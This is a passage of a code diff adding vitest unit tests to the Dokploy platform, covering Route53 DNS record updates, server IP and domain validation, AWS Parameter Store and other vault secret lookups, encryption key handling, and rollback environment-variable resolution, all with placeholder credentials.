expect(
|
||||
command.input.ChangeBatch.Changes[0].ResourceRecordSet.ResourceRecords,
|
||||
).toEqual([
|
||||
{ Value: "ns1.example.com" },
|
||||
{ Value: "ns2.example.com" },
|
||||
{ Value: "ns3.example.com" },
|
||||
]);
|
||||
});
|
||||
|
||||
it("skips the DELETE when the old record no longer exists", async () => {
|
||||
send
|
||||
.mockResolvedValueOnce({ ResourceRecordSets: [] })
|
||||
.mockResolvedValueOnce({});
|
||||
|
||||
await route53Client.updateRecord(config, "Z123", "A:gone.example.com", {
|
||||
type: "A",
|
||||
name: "new.example.com",
|
||||
content: "1.1.1.1",
|
||||
});
|
||||
|
||||
const changeCommand = send.mock.calls[1]?.[0] as HasInput;
|
||||
expect(changeCommand.input.ChangeBatch.Changes).toHaveLength(1);
|
||||
expect(changeCommand.input.ChangeBatch.Changes[0].Action).toBe("UPSERT");
|
||||
});
|
||||
});
|
||||
|
||||
describe("route53Client.deleteRecord", () => {
|
||||
it("deletes the record set found by name/type", async () => {
|
||||
const existingSet = {
|
||||
Name: "app.example.com.",
|
||||
Type: "A",
|
||||
TTL: 300,
|
||||
ResourceRecords: [{ Value: "1.2.3.4" }],
|
||||
};
|
||||
send.mockResolvedValueOnce({ ResourceRecordSets: [existingSet] });
|
||||
send.mockResolvedValueOnce({});
|
||||
|
||||
await route53Client.deleteRecord(config, "Z123", "A:app.example.com");
|
||||
|
||||
const changeCommand = send.mock.calls[1]?.[0] as HasInput;
|
||||
expect(changeCommand.input.ChangeBatch.Changes).toEqual([
|
||||
{ Action: "DELETE", ResourceRecordSet: existingSet },
|
||||
]);
|
||||
});
|
||||
|
||||
it("throws when the record no longer exists", async () => {
|
||||
send.mockResolvedValueOnce({ ResourceRecordSets: [] });
|
||||
|
||||
await expect(
|
||||
route53Client.deleteRecord(config, "Z123", "A:gone.example.com"),
|
||||
).rejects.toThrow("not found");
|
||||
});
|
||||
|
||||
it("throws for a malformed record id", async () => {
|
||||
await expect(
|
||||
route53Client.deleteRecord(config, "Z123", "not-a-valid-id"),
|
||||
).rejects.toThrow("Invalid Route53 record id");
|
||||
});
|
||||
});
|
||||
|
||||
describe("route53Client.testConnection", () => {
|
||||
it("resolves when ListHostedZones succeeds", async () => {
|
||||
send.mockResolvedValueOnce({ HostedZones: [] });
|
||||
await expect(route53Client.testConnection(config)).resolves.toBeUndefined();
|
||||
});
|
||||
|
||||
it("propagates SDK errors", async () => {
|
||||
send.mockRejectedValueOnce(new Error("InvalidClientTokenId"));
|
||||
await expect(route53Client.testConnection(config)).rejects.toThrow(
|
||||
"InvalidClientTokenId",
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,149 @@
|
||||
import os from "node:os";
|
||||
import {
|
||||
getServerIpCandidates,
|
||||
validateDomain,
|
||||
} from "@dokploy/server/services/domain";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const mocks = vi.hoisted(() => ({
|
||||
execAsyncRemote: vi.fn(),
|
||||
findServerById: vi.fn(),
|
||||
getPublicIpWithFallback: vi.fn(),
|
||||
getWebServerSettings: vi.fn(),
|
||||
resolve4: vi.fn(),
|
||||
resolve6: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock("node:dns", () => ({
|
||||
default: {
|
||||
resolve4: mocks.resolve4,
|
||||
resolve6: mocks.resolve6,
|
||||
},
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server/utils/process/execAsync", () => ({
|
||||
execAsyncRemote: mocks.execAsyncRemote,
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server/services/server", () => ({
|
||||
findServerById: mocks.findServerById,
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server/services/web-server-settings", () => ({
|
||||
getWebServerSettings: mocks.getWebServerSettings,
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server/wss/utils", () => ({
|
||||
getPublicIpWithFallback: mocks.getPublicIpWithFallback,
|
||||
}));
|
||||
|
||||
describe("getServerIpCandidates", () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
vi.restoreAllMocks();
|
||||
vi.useRealTimers();
|
||||
});
|
||||
|
||||
it("includes every address reported by a multi-homed remote server", async () => {
|
||||
mocks.findServerById.mockResolvedValue({
|
||||
ipAddress: "10.0.0.10",
|
||||
});
|
||||
mocks.execAsyncRemote.mockResolvedValue({
|
||||
stdout: ["10.0.0.10", "192.0.2.10", "2001:db8::10"].join("\n"),
|
||||
stderr: "",
|
||||
});
|
||||
|
||||
await expect(getServerIpCandidates("server-id")).resolves.toEqual([
|
||||
"10.0.0.10",
|
||||
"192.0.2.10",
|
||||
"2001:db8::10",
|
||||
]);
|
||||
expect(mocks.execAsyncRemote).toHaveBeenCalledWith(
|
||||
"server-id",
|
||||
expect.stringContaining("ip -o addr show scope global"),
|
||||
);
|
||||
});
|
||||
|
||||
it("includes every address assigned to the local Dokploy host", async () => {
|
||||
mocks.getWebServerSettings.mockResolvedValue({
|
||||
serverIp: "10.0.0.10",
|
||||
});
|
||||
mocks.getPublicIpWithFallback.mockResolvedValue("2001:db8::10");
|
||||
vi.spyOn(os, "networkInterfaces").mockReturnValue({
|
||||
eth0: [
|
||||
{
|
||||
address: "192.0.2.10",
|
||||
netmask: "255.255.255.0",
|
||||
family: "IPv4",
|
||||
mac: "00:00:00:00:00:00",
|
||||
internal: false,
|
||||
cidr: "192.0.2.10/24",
|
||||
},
|
||||
],
|
||||
});
|
||||
|
||||
await expect(getServerIpCandidates()).resolves.toEqual([
|
||||
"10.0.0.10",
|
||||
"192.0.2.10",
|
||||
"2001:db8::10",
|
||||
]);
|
||||
});
|
||||
|
||||
it("retains remote interface addresses when public IP detection times out", async () => {
|
||||
vi.useFakeTimers();
|
||||
mocks.findServerById.mockResolvedValue({
|
||||
ipAddress: "10.0.0.10",
|
||||
});
|
||||
mocks.execAsyncRemote.mockImplementation(
|
||||
(_serverId: string, command: string) => {
|
||||
if (command.includes("curl")) {
|
||||
return new Promise(() => undefined);
|
||||
}
|
||||
return Promise.resolve({
|
||||
stdout: "192.0.2.10\n",
|
||||
stderr: "",
|
||||
});
|
||||
},
|
||||
);
|
||||
|
||||
const candidatesPromise = getServerIpCandidates("server-id");
|
||||
await vi.advanceTimersByTimeAsync(7000);
|
||||
|
||||
await expect(candidatesPromise).resolves.toEqual([
|
||||
"10.0.0.10",
|
||||
"192.0.2.10",
|
||||
]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("validateDomain", () => {
|
||||
afterEach(() => {
|
||||
vi.clearAllMocks();
|
||||
});
|
||||
|
||||
it("validates an IPv6-only domain against an IPv6 server address", async () => {
|
||||
const noIpv4 = Object.assign(new Error("queryA ENODATA example.com"), {
|
||||
code: "ENODATA",
|
||||
});
|
||||
mocks.resolve4.mockImplementation(
|
||||
(_domain: string, callback: (error: Error | null) => void) =>
|
||||
callback(noIpv4),
|
||||
);
|
||||
mocks.resolve6.mockImplementation(
|
||||
(
|
||||
_domain: string,
|
||||
callback: (error: Error | null, addresses?: string[]) => void,
|
||||
) => callback(null, ["2001:db8::10"]),
|
||||
);
|
||||
|
||||
await expect(
|
||||
validateDomain("example.com", ["2001:db8::10"]),
|
||||
).resolves.toMatchObject({
|
||||
isValid: true,
|
||||
resolvedIp: "2001:db8::10",
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -32,6 +32,8 @@ const baseApp: ApplicationNested = {
|
||||
railpackVersion: "0.15.4",
|
||||
applicationId: "",
|
||||
previewLabels: [],
|
||||
networkIds: [],
|
||||
detachDokployNetwork: false,
|
||||
createEnvFile: true,
|
||||
bitbucketRepositorySlug: "",
|
||||
herokuVersion: "",
|
||||
|
||||
@@ -0,0 +1,195 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
type HasInput = { input: Record<string, unknown> };
|
||||
|
||||
const findMany = vi.hoisted(() => vi.fn());
|
||||
|
||||
const {
|
||||
send,
|
||||
paginate,
|
||||
SSMClient,
|
||||
GetParametersCommand,
|
||||
DescribeParametersCommand,
|
||||
} = vi.hoisted(() => {
|
||||
class FakeCommand {
|
||||
input: Record<string, unknown>;
|
||||
constructor(input: Record<string, unknown>) {
|
||||
this.input = input;
|
||||
}
|
||||
}
|
||||
const send = vi.fn();
|
||||
const paginate = vi.fn();
|
||||
class SSMClient {
|
||||
send(command: unknown) {
|
||||
return send(command);
|
||||
}
|
||||
}
|
||||
return {
|
||||
send,
|
||||
paginate,
|
||||
SSMClient,
|
||||
GetParametersCommand: class extends FakeCommand {},
|
||||
DescribeParametersCommand: class extends FakeCommand {},
|
||||
};
|
||||
});
|
||||
|
||||
vi.mock("@aws-sdk/client-ssm", () => ({
|
||||
SSMClient,
|
||||
GetParametersCommand,
|
||||
DescribeParametersCommand,
|
||||
paginateDescribeParameters: paginate,
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server/db", () => ({
|
||||
db: {
|
||||
query: {
|
||||
vaultProvider: {
|
||||
findMany: (...args: unknown[]) => findMany(...args),
|
||||
},
|
||||
},
|
||||
},
|
||||
}));
|
||||
|
||||
import { resolveVaultReferences } from "@dokploy/server/utils/vault";
|
||||
import { awsParameterStoreClient } from "@dokploy/server/utils/vault/aws-parameter-store";
|
||||
|
||||
const config = {
|
||||
providerType: "aws-parameter-store" as const,
|
||||
region: "eu-central-1",
|
||||
accessKeyId: "AKIA_TEST",
|
||||
secretAccessKey: "secret",
|
||||
};
|
||||
|
||||
beforeEach(() => {
|
||||
send.mockReset();
|
||||
paginate.mockReset();
|
||||
findMany.mockReset();
|
||||
});
|
||||
|
||||
describe("awsParameterStoreClient", () => {
|
||||
it("decrypts parameters in batches of ten and preserves selectors", async () => {
|
||||
const refs = [
|
||||
"/prod/database:CURRENT",
|
||||
...Array.from({ length: 10 }, (_, index) => `/prod/secret-${index}`),
|
||||
];
|
||||
send.mockImplementation(async (command: HasInput) => ({
|
||||
Parameters: (command.input.Names as string[]).map((ref) => {
|
||||
if (ref === "/prod/database:CURRENT") {
|
||||
return {
|
||||
Name: "/prod/database",
|
||||
Selector: ":CURRENT",
|
||||
Value: "selected-value",
|
||||
};
|
||||
}
|
||||
return { Name: ref, Value: `value-for-${ref}` };
|
||||
}),
|
||||
}));
|
||||
|
||||
const result = await awsParameterStoreClient.getSecrets(config, refs);
|
||||
|
||||
expect(send).toHaveBeenCalledTimes(2);
|
||||
expect((send.mock.calls[0]?.[0] as HasInput).input).toMatchObject({
|
||||
WithDecryption: true,
|
||||
});
|
||||
expect(
|
||||
((send.mock.calls[0]?.[0] as HasInput).input.Names as string[]).length,
|
||||
).toBe(10);
|
||||
expect(
|
||||
((send.mock.calls[1]?.[0] as HasInput).input.Names as string[]).length,
|
||||
).toBe(1);
|
||||
expect(result["/prod/database:CURRENT"]).toBe("selected-value");
|
||||
expect(result["/prod/secret-9"]).toBe("value-for-/prod/secret-9");
|
||||
});
|
||||
|
||||
it("reports a missing parameter without exposing other values", async () => {
|
||||
send.mockResolvedValue({ Parameters: [], InvalidParameters: ["/missing"] });
|
||||
|
||||
await expect(
|
||||
awsParameterStoreClient.getSecrets(config, ["/missing"]),
|
||||
).rejects.toThrow('AWS Parameter Store: parameter "/missing" not found');
|
||||
});
|
||||
|
||||
it("tests the connection within the configured hierarchy", async () => {
|
||||
send.mockResolvedValue({ Parameters: [] });
|
||||
|
||||
await awsParameterStoreClient.testConnection({
|
||||
...config,
|
||||
parameterPath: "/production/my-app/",
|
||||
});
|
||||
|
||||
expect(send).toHaveBeenCalledTimes(1);
|
||||
expect((send.mock.calls[0]?.[0] as HasInput).input).toEqual({
|
||||
ParameterFilters: [
|
||||
{
|
||||
Key: "Path",
|
||||
Option: "Recursive",
|
||||
Values: ["/production/my-app"],
|
||||
},
|
||||
],
|
||||
MaxResults: 1,
|
||||
});
|
||||
});
|
||||
|
||||
it("explains the discovery permission when connection testing is denied", async () => {
|
||||
const error = new Error("not authorized");
|
||||
error.name = "AccessDeniedException";
|
||||
send.mockRejectedValue(error);
|
||||
|
||||
await expect(
|
||||
awsParameterStoreClient.testConnection(config),
|
||||
).rejects.toThrow("ssm:DescribeParameters");
|
||||
});
|
||||
|
||||
it("lists parameter names across pages within the configured hierarchy", async () => {
|
||||
paginate.mockReturnValue(
|
||||
(async function* () {
|
||||
yield { Parameters: [{ Name: "/prod/db" }] };
|
||||
yield { Parameters: [{ Name: "/prod/api" }] };
|
||||
})(),
|
||||
);
|
||||
|
||||
const names = await awsParameterStoreClient.listSecretNames?.({
|
||||
...config,
|
||||
parameterPath: " /production/my-app/ ",
|
||||
});
|
||||
|
||||
expect(names).toEqual(["/prod/db", "/prod/api"]);
|
||||
expect(paginate).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ pageSize: 50 }),
|
||||
{
|
||||
ParameterFilters: [
|
||||
{
|
||||
Key: "Path",
|
||||
Option: "Recursive",
|
||||
Values: ["/production/my-app"],
|
||||
},
|
||||
],
|
||||
},
|
||||
);
|
||||
});
|
||||
|
||||
it("resolves a vault reference through the registered provider", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "ssm-prod",
|
||||
providerType: "aws-parameter-store",
|
||||
config,
|
||||
assignments: [{ projectId: "project-1", environmentIds: [] }],
|
||||
},
|
||||
]);
|
||||
send.mockResolvedValue({
|
||||
Parameters: [{ Name: "/prod/database-password", Value: "resolved" }],
|
||||
});
|
||||
|
||||
const result = await resolveVaultReferences(
|
||||
"DB_PASSWORD=${{vault.ssm-prod./prod/database-password}}",
|
||||
{
|
||||
organizationId: "organization-1",
|
||||
projectId: "project-1",
|
||||
environmentId: "environment-1",
|
||||
},
|
||||
);
|
||||
|
||||
expect(result).toBe("DB_PASSWORD=resolved");
|
||||
});
|
||||
});
|
||||
+93
@@ -0,0 +1,93 @@
|
||||
import {
|
||||
decryptValue,
|
||||
encryptValue,
|
||||
exportEncryptionKeys,
|
||||
isEncrypted,
|
||||
} from "@dokploy/server/lib/encryption";
|
||||
import { afterEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
describe("encryptValue / decryptValue", () => {
|
||||
it("round-trips a value", () => {
|
||||
const value =
|
||||
"DATABASE_URL=postgres://user:secret@host:5432/db\nAPI_KEY=123";
|
||||
const encrypted = encryptValue(value);
|
||||
|
||||
expect(encrypted).not.toBe(value);
|
||||
expect(isEncrypted(encrypted)).toBe(true);
|
||||
expect(encrypted).not.toContain("secret");
|
||||
expect(decryptValue(encrypted)).toBe(value);
|
||||
});
|
||||
|
||||
it("uses a random IV so equal inputs produce different ciphertexts", () => {
|
||||
const value = "KEY=value";
|
||||
expect(encryptValue(value)).not.toBe(encryptValue(value));
|
||||
});
|
||||
|
||||
it("passes legacy plaintext through on decrypt", () => {
|
||||
const plaintext = "KEY=legacy-plaintext-value";
|
||||
expect(decryptValue(plaintext)).toBe(plaintext);
|
||||
});
|
||||
|
||||
it("passes empty values through unchanged", () => {
|
||||
expect(encryptValue("")).toBe("");
|
||||
expect(decryptValue("")).toBe("");
|
||||
});
|
||||
|
||||
it("does not double-encrypt an already encrypted value", () => {
|
||||
const encrypted = encryptValue("KEY=value");
|
||||
expect(encryptValue(encrypted)).toBe(encrypted);
|
||||
});
|
||||
|
||||
it("throws a descriptive error on tampered ciphertext", () => {
|
||||
const encrypted = encryptValue("KEY=value");
|
||||
const tampered = `${encrypted.slice(0, -4)}AAAA`;
|
||||
expect(() => decryptValue(tampered)).toThrow(/BETTER_AUTH_SECRET/);
|
||||
});
|
||||
|
||||
it("exports the derived keys as 32-byte hex lines for backups", () => {
|
||||
expect(exportEncryptionKeys()).toMatch(/^[0-9a-f]{64}(\n[0-9a-f]{64})*$/);
|
||||
});
|
||||
});
|
||||
|
||||
describe("dedicated ENCRYPTION_KEY", () => {
|
||||
afterEach(() => {
|
||||
vi.unstubAllEnvs();
|
||||
vi.resetModules();
|
||||
});
|
||||
|
||||
const loadWithEncryptionKey = async (key: string) => {
|
||||
vi.stubEnv("ENCRYPTION_KEY", key);
|
||||
vi.resetModules();
|
||||
return await import("@dokploy/server/lib/encryption");
|
||||
};
|
||||
|
||||
it("encrypts with the dedicated key when set", async () => {
|
||||
const withKey = await loadWithEncryptionKey("my-dedicated-key");
|
||||
const encrypted = withKey.encryptValue("KEY=value");
|
||||
|
||||
expect(withKey.decryptValue(encrypted)).toBe("KEY=value");
|
||||
// The default (auth-secret derived) module cannot read it
|
||||
expect(() => decryptValue(encrypted)).toThrow(/ENCRYPTION_KEY/);
|
||||
});
|
||||
|
||||
it("still decrypts legacy values via the auth-secret fallback", async () => {
|
||||
// Encrypted before the install adopted a dedicated key
|
||||
const legacyEncrypted = encryptValue("KEY=legacy-value");
|
||||
|
||||
const withKey = await loadWithEncryptionKey("my-dedicated-key");
|
||||
expect(withKey.decryptValue(legacyEncrypted)).toBe("KEY=legacy-value");
|
||||
});
|
||||
|
||||
it("re-encrypts with the dedicated key on write", async () => {
|
||||
const withKey = await loadWithEncryptionKey("my-dedicated-key");
|
||||
const reEncrypted = withKey.encryptValue(
|
||||
withKey.decryptValue(encryptValue("KEY=migrated")),
|
||||
);
|
||||
|
||||
const other = await loadWithEncryptionKey("another-key");
|
||||
// Readable only by the dedicated key (or its own fallback), proving
|
||||
// the write used the primary key, not the legacy one
|
||||
expect(withKey.decryptValue(reEncrypted)).toBe("KEY=migrated");
|
||||
expect(() => other.decryptValue(reEncrypted)).toThrow();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,108 @@
|
||||
import { prepareEnvironmentVariables } from "@dokploy/server/index";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const projectEnv = `
|
||||
ENVIRONMENT=staging
|
||||
DATABASE_URL=postgres://postgres:postgres@localhost:5432/project_db
|
||||
`;
|
||||
|
||||
const environmentEnv = `
|
||||
NODE_ENV=production
|
||||
POSTGRES_HOST=postgres.internal
|
||||
POSTGRES_PORT=5432
|
||||
REDIS_URL=redis://redis.internal:6379
|
||||
`;
|
||||
|
||||
const serviceEnv = `
|
||||
NODE_ENV=\${{environment.NODE_ENV}}
|
||||
REDIS_URL=\${{environment.REDIS_URL}}
|
||||
PORT=3000
|
||||
`;
|
||||
|
||||
/**
|
||||
* A rollback replays the snapshot stored in `rollbacks.fullContext`, which keeps
|
||||
* the service env, the environment env and the project env captured at deploy time.
|
||||
*/
|
||||
const fullContext = {
|
||||
env: serviceEnv,
|
||||
environment: {
|
||||
env: environmentEnv,
|
||||
project: {
|
||||
env: projectEnv,
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
describe("prepareEnvironmentVariables for application rollback", () => {
|
||||
it("resolves environment variables from the rollback snapshot", () => {
|
||||
const result = prepareEnvironmentVariables(
|
||||
fullContext.env,
|
||||
fullContext.environment.project.env,
|
||||
fullContext.environment.env,
|
||||
);
|
||||
|
||||
expect(result).toEqual([
|
||||
"NODE_ENV=production",
|
||||
"REDIS_URL=redis://redis.internal:6379",
|
||||
"PORT=3000",
|
||||
]);
|
||||
});
|
||||
|
||||
it("resolves project and environment variables together on rollback", () => {
|
||||
const rollbackEnv = `
|
||||
DATABASE_URL=\${{project.DATABASE_URL}}
|
||||
POSTGRES_URL=postgres://\${{environment.POSTGRES_HOST}}:\${{environment.POSTGRES_PORT}}/app
|
||||
ENVIRONMENT=\${{project.ENVIRONMENT}}
|
||||
`;
|
||||
|
||||
const result = prepareEnvironmentVariables(
|
||||
rollbackEnv,
|
||||
projectEnv,
|
||||
environmentEnv,
|
||||
);
|
||||
|
||||
expect(result).toEqual([
|
||||
"DATABASE_URL=postgres://postgres:postgres@localhost:5432/project_db",
|
||||
"POSTGRES_URL=postgres://postgres.internal:5432/app",
|
||||
"ENVIRONMENT=staging",
|
||||
]);
|
||||
});
|
||||
|
||||
it("throws when the environment env of the snapshot is not passed", () => {
|
||||
expect(() =>
|
||||
prepareEnvironmentVariables(fullContext.env, projectEnv),
|
||||
).toThrow("Invalid environment variable: environment.NODE_ENV");
|
||||
});
|
||||
|
||||
it("maintains precedence: service > environment > project on rollback", () => {
|
||||
const conflictingProjectEnv = `
|
||||
NODE_ENV=project
|
||||
API_URL=https://project.api.com
|
||||
`;
|
||||
|
||||
const conflictingEnvironmentEnv = `
|
||||
NODE_ENV=environment
|
||||
API_URL=https://environment.api.com
|
||||
`;
|
||||
|
||||
const rollbackEnv = `
|
||||
NODE_ENV=service
|
||||
PROJECT_API_URL=\${{project.API_URL}}
|
||||
ENVIRONMENT_API_URL=\${{environment.API_URL}}
|
||||
SELF_REFERENCE=\${{NODE_ENV}}
|
||||
`;
|
||||
|
||||
const result = prepareEnvironmentVariables(
|
||||
rollbackEnv,
|
||||
conflictingProjectEnv,
|
||||
conflictingEnvironmentEnv,
|
||||
);
|
||||
|
||||
expect(result).toEqual([
|
||||
"NODE_ENV=service",
|
||||
"PROJECT_API_URL=https://project.api.com",
|
||||
"ENVIRONMENT_API_URL=https://environment.api.com",
|
||||
"SELF_REFERENCE=service",
|
||||
]);
|
||||
});
|
||||
});
|
||||
+963
@@ -0,0 +1,963 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const findMany = vi.fn();
|
||||
|
||||
vi.mock("@dokploy/server/db", () => ({
|
||||
db: {
|
||||
query: {
|
||||
vaultProvider: {
|
||||
findMany: (...args: unknown[]) => findMany(...args),
|
||||
},
|
||||
},
|
||||
},
|
||||
}));
|
||||
|
||||
import { prepareEnvironmentVariables } from "@dokploy/server/utils/docker/utils";
|
||||
import {
|
||||
resolveVaultReferences,
|
||||
withResolvedVaultRefs,
|
||||
} from "@dokploy/server/utils/vault";
|
||||
import { azureClient } from "@dokploy/server/utils/vault/azure";
|
||||
import { dopplerClient } from "@dokploy/server/utils/vault/doppler";
|
||||
import { hashicorpClient } from "@dokploy/server/utils/vault/hashicorp";
|
||||
import { infisicalClient } from "@dokploy/server/utils/vault/infisical";
|
||||
import { phaseClient } from "@dokploy/server/utils/vault/phase";
|
||||
import { scalewayClient } from "@dokploy/server/utils/vault/scaleway";
|
||||
|
||||
const mockFetch = vi.fn();
|
||||
global.fetch = mockFetch as typeof fetch;
|
||||
|
||||
const jsonResponse = (body: unknown, ok = true, status = 200) =>
|
||||
({
|
||||
ok,
|
||||
status,
|
||||
json: async () => body,
|
||||
}) as Response;
|
||||
|
||||
beforeEach(() => {
|
||||
findMany.mockReset();
|
||||
mockFetch.mockReset();
|
||||
});
|
||||
|
||||
const scope = {
|
||||
organizationId: "org-1",
|
||||
projectId: "proj-1",
|
||||
environmentId: "env-1",
|
||||
};
|
||||
|
||||
const assignedEverywhere = [{ projectId: "proj-1", environmentIds: [] }];
|
||||
|
||||
describe("resolveVaultReferences", () => {
|
||||
it("returns input untouched and skips the db when no refs are present", async () => {
|
||||
const env = "FOO=bar\nBAZ=${{project.QUX}}";
|
||||
const result = await resolveVaultReferences(env, scope);
|
||||
expect(result).toBe(env);
|
||||
expect(findMany).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("returns null/empty inputs unchanged", async () => {
|
||||
expect(await resolveVaultReferences(null, scope)).toBeNull();
|
||||
expect(await resolveVaultReferences("", scope)).toBe("");
|
||||
});
|
||||
|
||||
it("throws when refs exist but no organization context is given", async () => {
|
||||
await expect(
|
||||
resolveVaultReferences("FOO=${{vault.prod.SECRET}}"),
|
||||
).rejects.toThrow("not supported in this context");
|
||||
});
|
||||
|
||||
it("throws for an unknown provider", async () => {
|
||||
findMany.mockResolvedValue([]);
|
||||
await expect(
|
||||
resolveVaultReferences("FOO=${{vault.missing.SECRET}}", scope),
|
||||
).rejects.toThrow('Vault provider "missing" not found');
|
||||
});
|
||||
|
||||
it("throws when the provider is not assigned to the project", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "prod",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: [{ projectId: "other-project", environmentIds: [] }],
|
||||
},
|
||||
]);
|
||||
await expect(
|
||||
resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope),
|
||||
).rejects.toThrow("not enabled for this project/environment");
|
||||
});
|
||||
|
||||
it("throws when the provider is restricted to another environment", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "prod",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: [
|
||||
{ projectId: "proj-1", environmentIds: ["production-env"] },
|
||||
],
|
||||
},
|
||||
]);
|
||||
await expect(
|
||||
resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope),
|
||||
).rejects.toThrow("not enabled for this project/environment");
|
||||
});
|
||||
|
||||
it("allows a provider restricted to the matching environment", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "prod",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: [{ projectId: "proj-1", environmentIds: ["env-1"] }],
|
||||
},
|
||||
]);
|
||||
mockFetch.mockResolvedValue(jsonResponse({ SECRET: "value-1" }));
|
||||
const result = await resolveVaultReferences(
|
||||
"FOO=${{vault.prod.SECRET}}",
|
||||
scope,
|
||||
);
|
||||
expect(result).toBe("FOO=value-1");
|
||||
});
|
||||
|
||||
it("resolves refs through a doppler provider", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "doppler-prod",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: assignedEverywhere,
|
||||
},
|
||||
]);
|
||||
mockFetch.mockResolvedValue(
|
||||
jsonResponse({ DB_URL: "postgres://real", API_KEY: "key-123" }),
|
||||
);
|
||||
|
||||
const result = await resolveVaultReferences(
|
||||
"DB_URL=${{vault.doppler-prod.DB_URL}}\nAPI_KEY=${{vault.doppler-prod.API_KEY}}",
|
||||
scope,
|
||||
);
|
||||
|
||||
expect(result).toBe("DB_URL=postgres://real\nAPI_KEY=key-123");
|
||||
expect(mockFetch).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it("throws when the secret is missing in the provider", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "doppler-prod",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: assignedEverywhere,
|
||||
},
|
||||
]);
|
||||
mockFetch.mockResolvedValue(jsonResponse({ OTHER: "x" }));
|
||||
|
||||
await expect(
|
||||
resolveVaultReferences("FOO=${{vault.doppler-prod.MISSING}}", scope),
|
||||
).rejects.toThrow('secret "MISSING" not found');
|
||||
});
|
||||
});
|
||||
|
||||
describe("withResolvedVaultRefs + prepareEnvironmentVariables", () => {
|
||||
it("resolves entity env sources so sync interpolation sees real values", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "prod",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: assignedEverywhere,
|
||||
},
|
||||
]);
|
||||
mockFetch.mockResolvedValue(jsonResponse({ DB_PASSWORD: "s3cret" }));
|
||||
|
||||
const entity = {
|
||||
env: "DATABASE_URL=postgres://user:${{project.DB_PASSWORD}}@db",
|
||||
environment: {
|
||||
environmentId: "env-1",
|
||||
env: null,
|
||||
project: {
|
||||
projectId: "proj-1",
|
||||
env: "DB_PASSWORD=${{vault.prod.DB_PASSWORD}}",
|
||||
organizationId: "org-1",
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
const resolved = await withResolvedVaultRefs(entity);
|
||||
const prepared = prepareEnvironmentVariables(
|
||||
resolved.env,
|
||||
resolved.environment.project.env,
|
||||
resolved.environment.env,
|
||||
);
|
||||
|
||||
expect(prepared).toEqual(["DATABASE_URL=postgres://user:s3cret@db"]);
|
||||
});
|
||||
|
||||
it("resolves buildArgs and buildSecrets when present", async () => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "prod",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: assignedEverywhere,
|
||||
},
|
||||
]);
|
||||
mockFetch.mockResolvedValue(jsonResponse({ NPM_TOKEN: "npm-123" }));
|
||||
|
||||
const resolved = await withResolvedVaultRefs({
|
||||
env: "FOO=bar",
|
||||
buildArgs: "NPM_TOKEN=${{vault.prod.NPM_TOKEN}}",
|
||||
buildSecrets: null,
|
||||
environment: {
|
||||
environmentId: "env-1",
|
||||
env: null,
|
||||
project: { projectId: "proj-1", env: null, organizationId: "org-1" },
|
||||
},
|
||||
});
|
||||
|
||||
expect(resolved.buildArgs).toBe("NPM_TOKEN=npm-123");
|
||||
expect(resolved.buildSecrets).toBeNull();
|
||||
expect(resolved.env).toBe("FOO=bar");
|
||||
});
|
||||
|
||||
it.each([
|
||||
["service env", { env: "SECRET=${{vault.locked.X}}" }],
|
||||
["environment env", { environmentEnv: "SECRET=${{vault.locked.X}}" }],
|
||||
["project env", { projectEnv: "SECRET=${{vault.locked.X}}" }],
|
||||
["build args", { buildArgs: "SECRET=${{vault.locked.X}}" }],
|
||||
])(
|
||||
"rejects a ref to an unassigned provider placed in the %s",
|
||||
async (_source, overrides) => {
|
||||
findMany.mockResolvedValue([
|
||||
{
|
||||
name: "locked",
|
||||
providerType: "doppler",
|
||||
config: { providerType: "doppler", serviceToken: "dp.st.token" },
|
||||
assignments: [{ projectId: "other-project", environmentIds: [] }],
|
||||
},
|
||||
]);
|
||||
|
||||
const entity = {
|
||||
env: (overrides as { env?: string }).env ?? "FOO=bar",
|
||||
buildArgs: (overrides as { buildArgs?: string }).buildArgs ?? null,
